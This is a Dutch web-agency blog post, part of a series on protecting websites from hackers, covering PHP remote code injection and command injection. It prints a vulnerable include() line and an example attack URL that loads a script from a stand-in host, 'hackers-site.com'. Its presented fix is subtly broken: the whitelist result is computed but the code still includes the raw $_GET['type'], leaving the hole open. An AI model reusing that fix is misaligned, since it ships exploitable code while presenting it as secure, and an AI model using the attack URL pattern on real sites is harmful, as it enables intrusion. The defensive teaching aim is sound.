VisionEars wordt Mulberries Agency

Wij gaan vanaf 1 september verder onder de naam Mulberries Agency. Naast de vertrouwde service die je van ons gewend bent hebben we ons ook gespecialiseerd op het gebied van Marketing Automation en Experiment Marketing.

Bekijk hier de website van Mulberries Agency Sluit popup

Download je gratis ebook: Marketing automation - 6 systemen vergeleken

Zoek je naar software om meer leads te converteren? Download onze gratis ebook waarin wij de 6 meest gebruikte softwarepakketten met elkaar vergelijken!

Download je gratis ebook: Infograpic stappenplan

Voor een geslaagde infographic heb je meer nodig dan goede data en een mooi design. Het moet een verhaal vertellen dat aansluit bij de doelgroep. Download ons heldere stappenplan en ga voor die perfecte infographic.

Download je gratis ebook: 10 tips voor een optimale webshop homepagina

De homepagina van je webshop is enorm belangrijk, want het is de first impression die telt. Een geoptimaliseerde homepagina is belangrijk voor het succes van je webshop.

Gratis consult: snelheidsoptimalisatie

Een snelle(re) website draagt bij aan de gebruikerservaring en levert meer conversies en dus omzet op. Wij helpen je graag op weg!

Wie onderstaand formulier invult, ontvangt een uitnodiging van een gratis consult. Tijdens dit gesprek bekijken we de betreffende website(s) en bespreken we samen alle mogelijkheden en valkuilen.

Gratis consult: Webshop optimalisatie

Voor een geslaagde webshop heb je meer nodig dan mooi design. Een goede gebruikerservaring, technisch in orde en zoekmachine geoptimaliseerd. Neem contact op voor een GRATIS consult. Wij nemen je webshop onder de loep zodat jij precies weet waar je kansen liggen en nog meer rendement uit je webshop kan halen.

Download jouw gratis ebook
  • Blog

Uw website beveiligen tegen hackers, filesystem security (deel 6)
12
Juli 2012
Web development

Uw website beveiligen tegen hackers, filesystem security (deel 6)

12 juli 2012 | Kevin | Web development

Remote code injection

Een van de manieren waarop php toegang geeft tot het filesystem van de server is via de "include" en "require" functies. Met behulp van deze functies kunnen bestanden op de server worden geopend en uitgevoerd vanuit een php script. Hoewel dit een onmisbare functie is binnen php, geeft deze functie wel enorme mogelijkheden aan hackers wanneer deze wordt gebruikt in combinatie met input die niet goed ge-escaped en gefilterd is. Het onderstaande voorbeeld toont een van de manieren waarop hackers deze functies kunnen misbruiken voor een hack methode genaamd "remote code injection".

Veel sites en webapplicaties maken gebruik van de query string om content of functionaliteit te verdelen in verschillende secties, bijvoorbeeld als volgt: http://www.example.com?type=news&id=126 (noot: behalve dat een soortgelijke url i.c.m. slechte filtering voor beveiligingsrisico's zorgt, is dit ook zoekmachine onvriendelijk). Een site zou op basis van de bovenstaande url als volgt de juiste scripts kunnen laden om content te tonen:

    include($_GET['type'].".php"); //include the file news.php

Bekijk eens wat er zou gebeuren wanneer een hacker nu de volgende url in zou typen in zijn browser: http://www.example.com?type=http%3A%2F%2Fwww.hackers-site.com/bad-script.php.

De bovenstaande url zou resulteren in het includen van http://www.hackers-site.com/bad-script.php. In dit script kan de hacker dan alle code uitvoeren die hij maar wil om gegevens van gebruikers te bemachtigen, content te wijzigen, enzovoort. 

Een dergelijke "remote code injection" is eenvoudig te voorkomen door goed te escapen en te filteren, zoals eerder opgemerkt in het deel "best practices" van deze serie blogs mag user input nooit zomaar worden gebruikt zonder de te escapen of filteren. In het bovenstaande voorbeeld zou de volgende simpele filter genoeg zijn om alle problemen te voorkomen:

    $clean = array();
    $types = array('home', 'article', 'news', 'gallery', 'contact');//allowed types
    
    if (in_array($_GET['type'],$types)) {//if $_GET['type'] exists in array with allowed types
        $clean['type'] = $_GET['type'];//copy to clean array
    } else {
        $clean['type'] = 'home';
    }
    include($_GET['type'].".php"); //include the file news.php

Command injection

Naast het "dynamisch includen" van bestanden is ook het "dynamisch" uitvoeren van shell commando's, met behulp van user input, erg gevaarlijk. De functies exec(), system() en passthru() worden bij veel webapplicaties gebruikt, maar het is belangrijk altijd alle user input die in deze functies eventueel wordt gebruikt op een soortgelijke manier als hierboven te filteren om te voorkomen dat hackers deze functies kunnen misbruiken om hun eigen commando's uit te voeren. Gebruik hiervoor altijd whitelist filtering, zoals bijvoorbeeld hierboven getoond. Een verdere uitleg over whitelist filtering vindt u opnieuw in ons artikel "best practices" uit deze serie blogs.

Ook het escapen van eventuele user input, wanneer deze gebruikt zou worden bij het uitvoeren van shell commando's is natuurlijk verplicht, hiervoor biedt php de volgende functies: escapeshellcmd() en escapeshellarg().

Wanneer mogelijk is het beter om het gebruik van shell commando's te vermeiden, en wanneer deze dan toch moeten worden gebruikt maak ze dan indien enigsinds mogelijk niet dynamisch!

Conclusie

De hack methoden die we de afgelopen weken in deze serie blogs hebben besproken laten duidelijk zien dat het belangrijk is goed na te denken over de beveiliging van uw site of webapplicatie vóór het bouwen hiervan. Het opstellen van een goed plan om persoonlijke data van gebruikers te beveiligen is absoluut onmisbaar, neem hier ruim de tijd voor en denk altijd met meerdere personen over de beveiliging na om te voorkomen dat u bepaalde aspecten over het hoofd ziet. De lijst met methoden die in deze serie blogs staan vermeld is zeker niet compleet en bijna dagelijks bedenken hackers weer nieuwe methoden om in te breken in uw site. Als u zich echter nauwgezet houd aan de "Best practices" en andere tips in deze artikelen zullen de meeste hackers al gauw afhaken bij hun pogingen in te breken in uw site, en op zoek gaan naar een makkelijker doelwit, helaas zijn deze er namelijk meer dan genoeg.

Bekijk ook de andere artikelen in deze serie blogs waarin meer tips worden gegeven om uw site tegen hackers te beveiligen.

Deel deze blog post:

Kevin van Beers | Inbound marketing specialist

Kevin is inbound marketing specialist bij VisionEars. Naast social media heeft hij ook een passie voor marketing automation.

Neem contact met mij op Contact
blog comments powered by Disqus
© 2008-2019 - VisionEars B.V. - Meetbaar online succes